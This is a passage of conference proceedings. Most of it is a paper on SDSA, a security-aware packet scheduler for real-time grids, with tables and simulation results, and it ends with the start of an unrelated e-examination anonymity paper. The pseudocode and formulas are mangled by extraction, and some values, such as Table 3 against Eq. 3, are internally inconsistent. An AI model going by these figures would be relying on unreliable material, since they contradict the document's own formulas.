authentication service to prevent an unauthorized user, integrity service for pre-
venting data modification and confidentiality service to hide data at the time of
transmission. Therefore, there is a strong need for such scheme which shall meet
all the security requirements while maintaining the desirable QoS.

In this paper, we propose a secured dynamic scheduling algorithm (SDSA) for
real-time applications on grid of N nodes (Ni,∀ i ∈ N) which form a complete
graph in a switched network environment connected through an agent node(AN)
(Fig. 1). A computational grid is a collection of geographically dispersed com-
puting resources (nodes) or computing elements (CEs), providing a large virtual
computing environment to the users [7] or collaborate to handle events in the
cyber-physical system. Nowadays, computational grids are emerging as real-time
platforms for several applications such as on-line transaction processing systems,
medical electronics, telemedicine, and scientific parallel computing. With rapid
enhancement in storage capacity, computational speed, and network bandwidth,
grids are emerging as next generation computing platforms for large-scale compu-
tation in academics, industries, and some government organizations. Hence CEs
in grids can be used for computation-intensive tasks which may not be possible
with commodity hardware. Since real-time applications require timely delivery
of packets with high-security requirements, a grid of computational nodes can
be used to meet the requirement. All packets arrive at agent node (AN) and are
forwarded to each of the nodes (CEs) in a grid according to the load (accepted
queue length of the node). Now the packets are checked for security require-
ments and deadline first, on which the feasibility of packet on the respective
node is decided (Sect. 6.1). In this paper, we have used the concept of per-packet
encryption as in [8], where each packet has different security requirements. We
propose that, if a packet is not feasible on a node (or CE), then it is immediately

1 High-security level requires greater computation resources like CPU cycle, memory
requirement, etc. Hence, the more complex algorithm requires more time to encrypt
a given message. However, the time required may also depend on other factors like
a number of bits to be encrypted (block length) and key length.
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Fig. 1. Connectivity diagram of grid

forwarded to one of the adjacent nodes (or CE) having the least number of pack-
ets in the accepted queue. We employ an agent node (AN) which maintains the
information (Sect. 3.3) regarding accepted queue length of the nodes in the grid.
The novelty of concept lies in the fact that, here we are using a grid instead of
the single node. All the previous algorithms are based on the single node mech-
anism. In such cases, if the load on a single node becomes high then the node
is forced to provide QoS only compromising security requirements. Hence, using
grid helps us in the fair distribution of load amongst the nodes in the entire
grid, reducing the chance of packet drop. Moreover, it improves the guarantee
ratio while maintaining a high average security level compared to other exist-
ing algorithms. The same can be observed in the simulation results where the
proposed SDSA algorithm has been compared to the SPSS [9], ISAPS [10] and
IPSASC [11].

2 Related Works

According to A. Karnik et al. [12] the security and scheduling aspects have
been dealt separately in a network of computing elements. However, it has been
observed that security overhead is a deciding factor in the timely delivery of pack-
ets, especially for hard real-time systems. Hence, a dynamic scheduling algorithm
is required which can optimize the security as well the QoS aspect of packets.

S. Lu et al. [13] proposed a fair scheduling algorithm for real-time packets
in wireless networks named Min and Max., Min provides guaranteed delivery at
the cost of minimum security requirements; whereas Max compromise QoS at
the cost of higher security.

Qin X. et al. [9] proposed the Secured Packet Scheduling Strategy (SPSS)
which focused mainly on the security aspect of the packets. This scheme increases
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the security level of the packets when packet arrival rate is low. However, it has
no provision for dynamically adjusting the security level when packet arrival rate
is high. Hence, this algorithm suffers from low QoS and high packet drop.

Xiaomin Zhu et al. [10] proposed an Improved Security Aware Packet
Scheduling (ISAPS) algorithm. ISAPS algorithm can dynamically increase or
decrease the security requirements as well as scheduling to maintain higher guar-
antee ratio. However, the security level of the packets is adjusted in a Round-
Robin fashion. This algorithm also primarily focuses on security requirement
when packet arrival rate is high.

S. Singh et al. [11] proposed an Improved Packet Scheduling Algorithm with
Security Constraint (IPSASC) [11] algorithm. The IPSASC algorithm is similar
to SPSS [9] except it can dynamically decrease the security requirements of the
packets waiting in the accepted queue, having higher processing time first. Still,
it has higher packet drop ratio when arrival rate increased.

As said earlier, all the previous algorithms used a single node mechanism
which leads to high packet drop and low guarantee ratio. Using more than one
node provides load sharing and better guarantee ratio with the improved security
level.

3 Secured Real-Time Packet Scheduler Model

The primary aim of this paper is to improve the packet delivery ratio while
maximizing the security requirements for real-time systems. The proposed SDSA
algorithm tries to improve the average security level, and total guarantee ratio
compared to the existing scheduling algorithms given in [9–11]. We use the con-
cept of per-packet encryption technique as proposed by Jung et al. [8]. Jung
et al. argue that several real-time applications require improved security, espe-
cially for military applications. Most of the present real-time applications use a
single session key which cannot guarantee protection against brute-force attack.
Therefore, the researchers propose the use of selective packet key encryption
technique in which same packet key will never be reused for other packets in the
same session. Such per-packet encryption scheme helps to applications to specify
different security levels as proposed in [8].

The Fig. 2 below shows various component within a node (CE) which are
involved in dynamically adjusting the security level of the packets. Packets first
arrive in the scheduler queue (Qs) which are controlled by the real-time EDF
(Earliest Deadline First) scheduler. From here packets are selected according to
EDF policy and checked for feasibility using property-1 (described in Sect. 3.2).
If the packet is feasible, it is inserted into the accepted queue (Qa). Now the
security level of the accepted packet is increased as long as the property-1 is not
violated for the packet as well as packets positioned after this packet. However,
if the packet does not satisfy property-1 then either the security level of other
packets waiting in the accepted queue is decreased so as to accommodate this
new packet or else is forwarded to some adjacent node based on policy-2. If the
packet is not feasible even on the next node, then it will be inserted into rejected
queue (Qr) from where it is ultimately dropped.
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Fig. 2. Scheduler model

3.1 Notations

Table 1 describe all the notations used in this paper.

3.2 Definitions

Property-1: A packet is said to satisfy property-1 ⇐⇒ Cj
i ≤ Dj

i ; i.e. if the
packet completes its processing within the deadline with the optimal security level.
If a packet satisfies property-1, it is said to be feasible and this criterion is known
as feasibility criteria.

Assume that a new packet (aji , P tji ,Di, Sli) arrives with a certain minimum
security requirement Sli at a node Nj and is stored in the scheduler queue
(Qs). Now real-time EDF scheduler will pick a packet from scheduler queue
(Qs) according to the EDF (earliest deadline first) policy and check whether
that packet is satisfying property-1 or not. If the new packet satisfies property-1
then it will be transferred into accepted queue, else real-time EDF scheduler
will inform the security controller to reduce the security level of the packets
waiting in the accepted queue. Now security controller will reduce the security
level of the packets waiting in the accepted queue by using the priority controller
according to policy-1. If the new packet still does not satisfy property-1, then
the packet is immediately transferred to one of the adjacent nodes Nj+1 in
the grid. The selection of adjacent node Nj+1 is based on the policy-2. Nj+1

now calculates the new arrival time, and processing time (aj+1
i , Ptj+1

i ) but the
security requirements (Sli) and deadline (Di) remain same. From the new arrival
time (aj+1

i ), the new starting time (Sj+1
i ) and completion time (Cj+1

i ) at node
Nj+1 can be calculated.

For verifying Property-1, the starting time (Sj
i ), total processing time (T j

i )
and total completion time (Cj

i ) of the packet are calculated at node Nj . If for
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Table 1. Notation

P j
i ith packet in packet set P at node Nj

aj
i Arrival time of packet Pi at node Nj

Sj
i Starting time of packet Pi at node Nj

Di The deadline of packet Pi

Sli The security level of packet Pi

Ptji Processing time of packet Pi at node Nj

Cj
i The total completion time of packet Pi at node Nj

T j
i The total processing time of packet Pi at node Nj

Soji The security overhead of packet Pi at node Nj

SlCk The kth security level of confidentially of packet Pi

SlIk The kth security level of integrity of packet Pi

SlAk The kth security level of authentication of packet Pi

Oj
i Order of packet Pi in accepted queue based on EDF policy at node Nj

rjk Remaining processing time of a packet Pk at node Nj

W j
k W j

k = 1 iff the packet Pk is in the accepted queue, else W j
k = 0

packet P j
i , Cj

i ≤ Dj
i , then Property-1 is satisfied, otherwise packet P j

i is not
feasible at node Nj . If the new packet P j

i is accepted, then the real-time EDF
controller will inform to the security controller to increase the security level
up to the maximum level until property-1 for the new packet is violated as well
as packets positioned after this packet in accepted queue. This will increase the
overall security level of the packets for real-time applications. It will also enhance
the usage of system resources as well as the overall system performance.

Policy-1: To accommodate a newly arrived packet, the security level of the pack-
ets waiting in the accepted queue (Qa) is reduced one at a time to its minimum
security level, in the order of highest processing time first.

The security controller and priority controller are the responsible for dynam-
ically adjusting the security level of the packets residing in the accepted queue
(Qa). This process is repeated until the new packet is accommodated in the
accepted queue as well or all the packets waiting in the accepted queue are
reduced to the minimum security level. If the new packet still does not satisfy
the property-1 then the packet is immediately transferred to one of an adjacent
node according to policy-2 and the original security level of all the packets are
restored.

Policy-2: If a packet P does not satisfy property-1 even after applying policy-1,
then the packet is transferred to an adjacent node having minimum accepted
queue length with the help of the agent node (Sect. 3.3).

The current node (Ni) first queries the agent node for the node id having the
least accepted queue length. Once Ni has the information, it can transfer the
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packet P directly to the node (since the grid is a complete graph). If no such
adjacent node is found then the packet is dropped by the node.

3.3 Agent Based Information Exchange

The computing elements within the grid often need to exchange various informa-
tion/messages in order to perform the tasks, fair distribution of load and quality
of service. Such information generally comprises of current computational load,
system size, CPU utilization, and so on. However, such information exchange in
a network of CEs may lead to large overhead and incur large delays which might
impact the QoS, especially for real-time systems. The proposed SDSA algorithm
requires the exchange of information regarding accepted queue length when a
packet is not feasible on a node. Since we consider that CEs form a complete
graph, the number of messages exchanged for a single packet would be 2(n− 1).
Hence we propose the use of an agent node which keeps track of the system size
of all the nodes in the grid. Figure 1 shows the connectivity between agent node
and the CEs. Therefore, a packet first arrives at the agent node which is then
distributed by the agent node based on the following protocol.

1. Packets arriving at the agent node is forwarded to the node having least
accepted queue length.

2. Each node Ni periodically advertises a window size w which denotes the
amount of traffic a node can handle.

3. Each node sends an acknowledgment (ACK message) after every k messages
for some k = �w

n �.
4. The window size is advertised after every t time unit or immediately if a

packet cannot be accepted at a node due to its full buffer using NACK.
5. The agent node will keep track of the number of packets sent and the window

size of the individual nodes.

Example: Consider a node Ni that advertises a window size of 100 to the agent
node. As packets arrive at the agent node, it keeps on decrementing a counter to
keep track of how many packets have been sent to Ni. Let Ni acknowledge the
agent node (ACK) say after every 10 packets received and advertise its window
size after every 5-time units. However, it must be noted that Ni may receive
packets not only from the agent node but from other nodes as well (if a packet is
not feasible and this node has the lowest system size). Hence, the actual window
size may be greater or lesser than the value of the counter at the agent node.
A greater window size may not impact the performance as much as a lower
window size does. Let at any instant the value of the counter at the agent node
be 10, but the buffer at Ni be full. As the agent node sends more packets, they
are dropped by Ni. Now Ni immediately advertises its window size w = 0 using
NACK so that no more packets are sent by the agent node. Therefore, if a packet
is not feasible on a node, the node queries the agent node. The agent node replies
back with the id of the node having the least accepted queue length. This reduces
the total number of message exchanges to 2 for every not feasible message.
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4 Security Overhead Model

The main goal of this paper is to enhance the security services of the real-time
packets while ensuring maximum guarantee ratio. As said earlier, each packet
arrives at the CEs with a minimum level of security requirement, specified by
the application. However, in several scenarios the security level of the packets
may be increased so as to provide added confidentiality, without compromising
the QoS. In such cases, an increase in security level of the packets, results in an
increased processing time. This extra amount of processing time that is added,
is termed as the security overhead. The security overhead is used to achieve
desired security services (such as Denial of Service) with minimum packet drop.
The total security level for the packet Pi is the combination of the security level of
confidentiality, the security level of integrity and security level of authentication,
which can be calculated by using Eq. (1).

Here (SlCk )i, (SlIk)i, (SlAk )i are the kth indexed confidentiality, integrity and
authentication security levels respectively for packet pi, which can be evaluated
using the Eqs. (2), (3) and (4) respectively. The Max{SlCk }, Max{SlIk} and
Max{SlAk } represents the maximum value of security level for confidentiality,
integrity and authentication in the respective tables.

Sli =
(SlCk )i + (SlIk)i + (SlAk )i

Max{SlCk } + Max{SlIk} + Max{SlAk } (1)

4.1 Security Level of Confidentiality

The confidentiality security service protects a packet from sniffing attack. The
security levels with respect to confidentiality, for some of the standard crypto-
graphic algorithms, are shown in Table 2 [3,5,14]. Each of these security algo-
rithms is assigned a security level of confidentiality service in the range of 0.08
to 1.0 based on their performance. It can be seen that Seal, having a security
level of 0.08, is not the strongest but the fastest cryptographic algorithm. While
IDEA having a security level of 1.0 shows that it is the strongest but slow-
est cryptographic algorithm among all algorithms [2,3,7]. The security level of
confidentiality can be calculated by using the Eq. (2) [3,5,14].

SlCk = V C
8 /V C

k , (1 ≤ k ≤ 8) (2)

Here V C
k is the performance of kth (1 ≤ k ≤ 8) indexed confidentiality

security algorithm in KB/ms and SlCk is the security level of kth (1 ≤ k ≤ 8)
indexed algorithm.

4.2 Security Level of Authentication

The authentication security service protects a packet from a spoofing attack.
The security levels with respect to some standard authentication methods are
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Table 2. Security level of confidentiality for different algorithms

Cryptographic algorithms SlCk V C
k

Seal 0.08 168.75

RC4 0.14 96.43

Blowfish 0.36 37.5

Khafre 0.40 33.75

RC5 0.46 29.35

Rijndeal 0.64 21.09

DES 0.90 15

IDEA 1.00 13.5

Table 3. Security level of authentication for different methods

Authentication methods SlAk V A
k

HMAC- MD5 0.55 90

HMAC-SHA-1 0.91 148

CBC-MAC-AES 1.0 168

shown in the Table 3 [3,5,14]. The security level of authentication (SlAk ) can be
calculated by using the Eq. (3) [3,5,14].

SlAk = V A
3 /V A

k , (1 ≤ k ≤ 3) (3)

Here V A
k is the performance of kth (1 ≤ k ≤ 8) indexed authentication

security method in KB/ms and SlKk is the security level of kth (1 ≤ k ≤ 8)
indexed authentication method.

4.3 Security Level of Integrity

The integrity security service protects a packet from alteration attack. The hash
function is used for providing integrity service. The security levels with respect
to some standard hash functions are shown in the Table 4 [3,5,14]. From the
given tuple, the security level of integrity can be calculated by using the Eq. (4)
[3,5,14].

SlIk = V I
7 /V

I
k , (1 ≤ k ≤ 7) (4)

Here V I
k is the performance of kth (1 ≤ k ≤ 7) indexed hash function in

KB/ms and SlIk is the security level of kth (1 ≤ k ≤ 7) indexed hash function.

5 Calculating Ci

This algorithm uses a packet model similar to [10,11]. We assume that packet
arrival rate at a node is independent and identically distributed. If a packet Pi
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Table 4. Security level of integrity for different algorithms

Cryptographic algorithms SlIk V I
k

MD4 0.18 23.90

MD5 0.26 17.09

RIPEMD 0.36 12.00

RIPEMD-128 0.45 9.73

SHA-1 0.63 6.88

RIPEMD-160 0.77 5.69

Tiger 1.0 4.36

is feasible on a node N then it is transferred to the accepted queue. The arriving
packet Pi has a tuple < aji , P tji ,Di, Sli >2. The security overhead (Soji ) for
packet Pi at node Nj can thus be calculated using (5). The initial value of Sli
is equal to Slmin

i , which may be further increased according to the algorithm.

Soji = Ptji × Sli (5)

The total processing time (T j
i ) can be calculated using (6)

T j
i = Ptji + Soji = Ptji × (1 + Sli) (6)

The starting time of the packet (Pi) at node Nj can be calculated using (7).

Sj
i = aji + rjm +

i−1∑

k=m+1

T j
k ; Oj

k < Oj
i , for m = 1, 2, ..., i − 1 (7)

Therefore, the completion time of the packet (Pi) can be calculated using Eq. (8)

Cj
i = Sj

i + T j
i (8)

Proposition-1: If Cj
i ≤ Dj

i and Oj
i > Oj

k, then Cj
k ≤ Cj

i .
Since the packets in the accepted queue are ordered on the basis of earliest-

deadline-first (EDF), it is apparent that if property-1 of the newly arrive packet
is satisfied, then the completion time of this packet will be greater than all the
previous packets. The result follows from Eqs. 7 and 8.

6 Algorithm

Algorithm 6.1 below depicts the entire scheme that is followed to maintain the
security as well the QoS requirement of the packets. A discerning reader will

2 It must be noted that the security level of a packet is 0.1 ≤ Sli ≤ 1.0.
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understand that packets may forward at any node in the grid and the same
scheme is followed in each node.

Algorithm 6.1. SDSA(Packet P )

local Scheduler Queue at Node Nj : Qj
s

local Accepted Queue at Node Nj : Qj
a

local Rejected Queue at Node Nj : Qj
r

Insert(Qj
s, P )

Sli ← Slmin
i

comment: Slmin
i = (SlCk )i+(SlIk)i+(SlAk )i

Max{SlCk }+Max{SlIk}+Max{SlAk }

Sj
i ← aji + rjm +

∑i−1
k=m+1 T

j
k ; Oj

k < Oj
i

comment: Calculate Start Time Sj
i (eqn:7)

if Qj
s = {∅} & P � Property − 1

then
{
Insert(Qj

a, P )
AdjustSecurityLevel(P )

else Pi ← min
EDF

{Qj
s}

AdjustSecurityLevel(Pi)

procedure AdjustSecurityLevel(Pi)
if Pi � Property − 1

then

⎧
⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎪⎪⎪⎪⎪⎪⎩

if i = |Qj
a|

then while Pi � Property − 1 & Sli < Slmax
i

do Sli ← Sli + 0.1

else

⎧
⎪⎪⎨

⎪⎪⎩

while Pk � Property − 1 ∀ Pk > Pi

do if Sli ≤ Slmax
i

then Sli ← Sli + 0.1
else break

else

⎧
⎪⎪⎪⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎪⎪⎪⎩

while Pi �!Property − 1
then Pk ← max

Ptk
{Qj

a}, ∀ k > i

Slk ← Slmin
k

if Pk � Property − 1
then continue
else break

if Pi � !Property − 1
then hopcount ← Pi.getGridHopCount()

if hopcount = 0
then Nadj ← min

Qi
s

{Ni}, ∀ i �= j

else Insert(Qj
r, Pi)
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As a new packet (P ) arrives at the scheduler queue (Qs) in the node (Nj), the
packet is checked if it satisfies property-1 if it is the only packet in the scheduler
queue; i.e. if the queue was empty before the packet arrived. Otherwise, a packet
with earliest-deadline-first (EDF) is picked from amongst all the packets in the
scheduler queue and checked for property-1. If property-1 is satisfied, then the
packet is transferred to the accepted queue (Qa). It must be noted that packets
in Qa are arranged in the order of EDF. We now denote each packet in Qa as
Pi where i denotes the index position of the packet in the queue.

In Qa, we increase the security level (Sli) of Pi by 0.1 and check for property-
1. If this is the last packet in Qa and property-1 is satisfied, then Sli is further
increased (while simultaneously checking if property-1 holds) till it attains the
maximum security level (Slmax

i ). However, if there are more packets in Qa, then
as Sli is increased then property-1 is checked for all packets in the queue having
an index greater than i.

If property-1 of P is not satisfied then the packet must be discarded, since
it will not be delivered to the destination within the stipulated time. However,
to accommodate the packet, the security level of the packets having an index
greater than i in the accepted queue, is decremented one at a time to Slmin

i .
The packets, in such cases, are selected in the order of largest processing time
first by using the priority controller. However, if property-1 is still not satisfied,
then the packet is redirected to an adjacent node (Nadj) having least accepted
queue length with the help of the agent node (Sect. 3.3) and the original security
level of all the packets are restored. If the packet is not accepted at the second
node as well, then it is inserted into the rejected queue (Qr) from where it is
ultimately dropped. For this the grid hop-count of the packet is extracted; if it
is 0 then this is the first node. If it is 1, then this is the second node where it
gets the last chance to get accepted.

7 Simulation and Results

We have used the NS-3 simulation tool to evaluate and compare the performance
of the proposed algorithm (SDSA) with other existing scheduling algorithms like
SPSS [9], ISAPS [10], IPSASC [11]. We test the performance of SDSA algorithm
in terms of guarantee ratio (GR) and average security level (ASL) [10,11] by
varying packet arrival rate, packet size, and deadline. The simulation settings
used are shown in Table 5 below. A discerning reader will understand that the
number of CEs for other algorithms is 1 with no agent node, since other algo-
rithms do not employ the concept of grid.

GR =
total packets accepted

total packets arrived
× 100%

ASL =
total security applied on accepted packets

total number of packets
× 100%

Packets arrive according to Poisson distribution at random time instants at
the node in the grid. Guarantee ratio (GR) is obtained as a fraction of a total
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Table 5. Simulation settings

Settings Value

# Source nodes 50

#Nodes (CEs) 5

Agent node 1

Packet size 1 kB–25 kB

Deadline 900 ms

Bandwidth 1 Mbps

Security level 0.1–1.0

number of packets that arrive at the grid to the total number of packets that
become feasible or are accepted at one of the nodes on the grid. It is also an
indirect measure of the number of packets that are dropped; that is, more is
the guarantee ratio, less is the number of packets that are dropped. Average
security level is a fraction of total security level applied on all the packets. It
denotes the efficiency of the algorithm with respect to the optimal security level
that is applied on all the packets while maintaining a healthy QoS.

7.1 Impact of Arrival Rate, Packet Size and Deadline
on Guarantee Ratio

Guarantee ratio denotes the fraction of packets that is accepted with the optimal
security level. Figure 3(a), shows that the performance of SDSA in terms of guar-
antee ratio (GR) improves by approximately 29%, 10.8%, and 8.2% compared
to SPSS, ISAPS, and IPSASC, respectively for low packet arrival rate; while
the improvement is almost 2.7X, 2.1X and 1.7X compared to SPSS, ISAPS, and
IPSASC, respectively for high packet arrival rate. This is attributed to the fact,
that other schemes use single node and are not capable of handling high arrival
rate. We can see how other algorithms fail to provide sufficient QoS when arrival
rate is high.

Large packet size requires larger computational time. As a result, the security
overhead is large for more complex algorithms. It can be seen that performance
of SDSA improves compared to ISAPS, even for small packet size Fig. 3(b); while
the improvement several folds for large packet size. This is attributed to the fact
that packets having lower deadlines cannot be served due to large computational
overhead. This feature is taken care of in IPSASC, where the security level of
the packets is reduced in the order of highest computational time first. However,
even IPSASC fails when packet size increase, since some packets are rejected
due to security overhead of others packets. However, SDSA takes care of this by
forwarding such packets to other nodes.

Figure 3(c) shows the impact of deadline on the guarantee ratio. A packet
having a smaller deadline will have smaller waiting time, which increases the
chance of a packet to miss the deadline. A packet having a higher deadline will
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have less chance of missing the deadline. This will increase the guarantee ratio
(GR) of the system. For small deadlines, SDSA performs 1.2, 1.0 and 1.1 times
better as compared to SPSS, ISAPS, and IPSASC, respectively; while for large
deadline the performance improvement is almost 28%, 18% and 11% compared
to SPSS, ISAPS, and IPSASC, respectively.

7.2 Impact of Arrival Rate, Packet Size and Deadline
on Average Security Value

A system which passes a maximum number of packets using highest possible
security level is said to perform best with respect to average security level (ASL).
It is apparent that ASL depends both on traffic, packet size, and a deadline of
packets.

It can be seen from Fig. 4(a), SDSA performs 1.6, 2.5 and 1.2 times better as
compared to SPSS, ISAPS, and IPSASC, respectively when packet arrival rate is
low; while improvement is several folds for high traffic. This is attributed to the
fact that SDSA provides a second chance to the packets which are not serviced
by the first node. However, SPSS seems to perform better than ISAPS since it
mainly focuses on the security aspect of the packets. As a result, a small number
of packets are accepted with a high-security level which leads to a better average
compared to ISAPS. Moreover, deciding the correct time quanta/slice for ISAPS
is a challenge. If a large time slice is taken, then packet selection becomes in the
order of FCFS, while a small time slice may take a large time to correctly decide
the security level.

Figure 4(b) shows the performance of SDSA with respect to packet size. For
small packet size SDSA performs 4%, 5.5%, 1.1% better compared to ISAPS,
SPSS, and IPSASC, respectively; while for large packet size the performance
improvement is almost 30%, 51% and 81% compared to IPSASC, ISAPS, and
SPSS, respectively.

Figure 4(c) shows the impact of deadline on average security level with respect
to deadline. If the packet has the smaller deadline then there is more chance of
missing the deadline inspite of having lower security value. A higher deadline
leads to a higher security level, and as the deadline increases, the average security
level also increases. For smaller deadline SDSA performs 1.2, 1.1 and 1.1 times
better compared to ISAPS, IPSASC, and SPSS, respectively; while for larger
deadline the performance improvement is almost 20%, 180% and 26% compared
to IPSASC, ISAPS and SPSS, respectively.

7.3 Impact on Completion Time

Completion time denotes when the packet is released from the processing node
after a given security level is applied to it. The completion time of the packets
that arrive in the scheduler queue of node i can be observed; let this be Cs

i .
However, the actual completion time of the packet may change in the accepted
queue due to change in security level and hence it’s processing; let this be Ca

i .
This change in completion time may lead to several important observations.
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Fig. 3. Impact of (a) Arrival Rate, (b) Packet Size, and (c) Deadline on Guarantee
Ratio (GR). For (a) packet size = 10 KB, bandwidth = 1 Mbps, and deadline = 900ms.
For (b) arrival rate = 40 s−1, bandwidth = 1 Mbps, and deadline = 900ms. For (c)
arrival rate = 40 s−1, bandwidth = 1Mbps, and packet size = 10 KB
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Fig. 4. Impact of (a) Arrival Rate, (b) Packet Size and (c) Deadline on Average Security
Value (ASL). For (a) packet size = 10 KB, bandwidth = 1 Mbps, and deadline = 900 ms.
For (b) arrival rate = 40 s−1, bandwidth = 1 Mbps, and deadline = 900 ms. For (c)
arrival rate = 40 s−1, bandwidth = 1Mbps, and packet size = 10 KB
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We recorded the change in the completion time of the packets using all the four
schemes. The average and variance of change in completion time for 100 packets
are shown in tabular form in Table 6. It can be observed that the average change
in completion time is highest for SPSS while it is lowest for both IPSASC and
SDSA. For SPSS the change is a positive change; that is the completion time
increases for each packet as the security level of the packets is always increased
in SPSS. Moreover, a large number of packets are dropped due to increase in
security level of some packets. Whereas for IPSASC and SDSA, the change
in completion time is minimum. These algorithms try to accommodate most
number of packets by increasing or decreasing the security levels.

Table 6. Comparison of algorithms with respect to completion time

Algorithm Average Variance

SPSS 7.42 2.7

ISAPS 6.43 1.72

IPSASC 5.008 1.29

SDSA 5.008 1.23

Similarly, the variance of change in completion time is highest for SPSS, and
lowest for SDSA. This also depicts the fairness in each of the schemes. In SDSA
the change in completion time for each packet is not only least but also by an
amount which is almost equal to each packet.

8 Conclusion

With increasing security threat, packets must be transmitted with highest secu-
rity level which incurs large computation overhead. Large computation overhead
may, therefore, endanger packets with hard deadlines to be delivered in proper
time. In this regard, we present secured dynamic scheduling algorithm for real-
time applications on the grid, called SDSA, which is able to dynamically adjust
the security level while maintaining a satisfactory QoS. We adjust the security
level of the packets according to the computation of time and deadline of the
packet. Our simulation results show that the proposed scheme has a significant
improvement against other algorithms. Using a grid reduces the number of packet
drop while maintaining a good average security level. The proposed algorithm
also ensures fairness with respect to the security level and completion time of the
packets. The fairness in security level can be observed since the security level of
the packets is incremented or decremented by almost equal amount. The fairness
in completion time can be observed since the variance of change in completion
time is least for SDSA.

An interesting study in this case would be the use of optimization techniques
that could be applied to determine the maximum security level that could be
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applied to each packet for a given number of packets in the queue. Secondly,
here we have considered inspecting packet feasibility only on two nodes. A cost-
performance trade-off could be investigated to determine the maximum number
of CEs where the packet can be processed maintaining a given performance
threshold.
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Abstract. The prevalence of malpractices in the assessments carried by
educational institutions worldwide appears to be very high. Appropriate
measures to deter and prevent the malpractices during the examinations
are necessary to uphold the academic integrity and to ensure the basic
principles of fairness throughout the examination process. Some mal-
practices such as question paper leakage and collusion/plagiarism can
be controlled considerably, if unique question paper is provided to each
student/group of students. However, the use of unique question paper
for each student/group of students brings up some security and perfor-
mance challenges non-existent in the examination system with the com-
mon question paper. One specific challenge in the examinations with the
unique question paper is binding the unique question paper with the
answer-script produced by the student and establishing the anonymity
of student and examiners from each other. The purpose of this paper
is to propose a framework, that establishes and preserves the associa-
tion between the given question paper and the answer-script and provide
required anonymity to students and examiners during an exchange of the
examination content. In order to achieve this goal, we first formalize the
associativity and anonymity properties and then validate our framework
by analyzing the associativity and anonymity properties for the existing
conventional/electronic summative examination system.

Keywords: Associativity · Anonymity · e-Examination · Question
paper · Answer script · Plagiarism · Collusion · Applied π calculus ·
ProVerif

1 Introduction

Summative examinations form an integral part of any educational system for
grading the students. The summative examination process includes a plethora
of activities such as the registration of students, examination fee management,
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question bank management, question paper generation, the answer-script man-
agement, evaluation, security control, processing and publication of results, re-
evaluations and retests. Management of the entire examination system is a cir-
cuitous process and is prone to errors and security breaches [4]. Summative exam-
inations also suffers from endemic and ingenious incidents of unfair means and
malpractices such as question paper leakage, answer-script plagiarism, unautho-
rized answer-script alteration and many such malicious acts of the students/other
involved stakeholders [12,18]. Malpractices in the examinations appear to be on
the rise across the world, but the security regulations and means of implementing
them are not universally available and often ineffective as examination cheating
have taken incredible, sophisticated and techno-centric dimensions [12].

Question paper leakage and collusion/plagiarism during answer-script pro-
duction are two commonly occurring dishonest acts in both conventional and
electronic examinations [12]. There have been increasing instances of such inci-
dents plaguing the entire educational system. The main cause for the occurrence
of such malpractices in large scale is the use of common question paper across
all the students answering the particular course paper. Examination authorities
normally keep one common question paper for a particular examination course
paper due to the difficulties associated in question paper setting, distribution
and identification of multiple question papers. Nonetheless, if multiple sets of
question papers are used in examination, a suitable mechanism is required to
link the question paper and student answer-scripts together to avoid/resolve any
future disputes. In conventional examination system, such binding is normally
done using common question paper cum answer booklet or identically labeled
question paper and answer-script booklet.

In electronic examinations, unique question paper can be generated ran-
domly for each student, just in time (JIT) with the help of an appropriate
question bank. Some malpractices related to question paper leakage can be con-
trolled considerably, if unique question paper is provided to each student during
examination [20]. If unique question paper is provided to each student/group
of students, there is a need to map the student identity to the corresponding
question paper. This mapping needs to be strong enough to prevent both the
examination authority (sender) and student (receiver) from denying their action
in the future. We also require a mechanism for binding the unique question
paper received by the student to the corresponding answer-script produced by
the student unambiguously. The binding of the unique question paper with the
answer-script, needs to be done in such a way that, it satisfies the following
security requirements:

1. The answer-script produced by the student is kept hidden from the examina-
tion authority.

2. Answer-script produced by the student is made available to the examiner,
but the identity of the student and the question paper is hidden from the
examiner.

It is essential to ascertain above requirements of anonymity for mitigating any
attempts of coercion and biased assessment. Looking at some of the existing
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examination specifications and protocols in the literature [7,14,16], we observed
that most of the examination models are based on the assumption of the use of
common question paper for each course paper. On the other hand, use of unique
question paper for each student/group of students brings up some security and
performance challenges non-existent in the examination system with the com-
mon question paper. Thus, there is a need of a suitable framework and a set of
protocols to deal with the examination systems with unique question paper per
student. This paper addresses the required goal of establishing the unambigu-
ous association between the question paper and the corresponding answer-script
produced by the student and providing anonymity to communicating entities
wherever required.

Contributions: In this paper, we define a formal framework modelling conven-
tional and electronic examination system and providing an understanding of
associativity and anonymity properties for exchange of question papers and
answer-scripts. We validate the effectiveness of our framework by modelling and
analyzing associativity and anonymity tests using the applied π calculus [1] and
Proverif [5] tool. The associativity security properties defined in this paper are
novel and to the best of our knowledge, no such/similar work has formed the
basis of any research in summative examination context.

Outline: The next section provides the background details and overview of the
related work. Section 3 provides definitions and models for examination proto-
cols. Section 4 describes and formalizes associativity properties, and develops
a framework of analysis for them. Section 5 validates the framework. Section 6
draws the conclusions and outlines the future work.

2 Background and Related Work

Examination is the process of testing the ability or achievement of the student
in any area [15]. Academic examinations is broadly classified into two categories:
formative and summative. The formative examinations are designed to improve
the student’s learning; whilst the summative examinations are the examina-
tions conducted at the end of a course and counts towards the final course
mark/grade [19]. Due to the high-stake nature of the summative tests, the sum-
mative examination process remains a target for user security challenges [2].

There is a limited study dealing with the subject of academic examinations
and the required framework and protocols for conducting summative examina-
tions securely. Some of the existing examination systems, frameworks and secu-
rity properties are presented in this section. An internet-based examination pro-
tocol is proposed by [13] that ensures authentication and conditional anonymity
requirements with minimal trust assumption. [7] have made in depth analy-
sis of examination stages of a typical examination system and have identified
the authenticity, privacy, correction, secrecy, receipt, copy detection as security
requirements that every exam stage must satisfy. They proposed an examination
system with the informal definition of security properties based on cryptographic



306 K.G. Dessai and V. Kamat

protocols. [3,16] propose an examination protocol without the need of a trusted
third party that guarantees several security properties including anonymity for
anonymising the student’s test. A formal framework in the applied π-calculus to
define and analyze authentication and privacy requirements for exams through
formalization of several individual and universal verifiability properties has been
proposed by [10]. The privacy type properties have been studied in depth in
other domains such as voting and in auctions. [17] propose formal methods to
formalize interactions among engaging parties and properties to be satisfied by
the system for payment transactions, transaction security properties, and trust
relationships among the parties. [8] proposes a framework for modelling cryp-
tographic voting protocols in the applied π calculus, and show how to express
the properties of vote-privacy, receipt-freeness and coercion-resistance. [11] sug-
gest a framework to formally verify security properties in e-Auction protocols.
In particular, it shows how protocols can be modeled in the applied π calculus
and how security properties such as different notions of privacy, fairness and
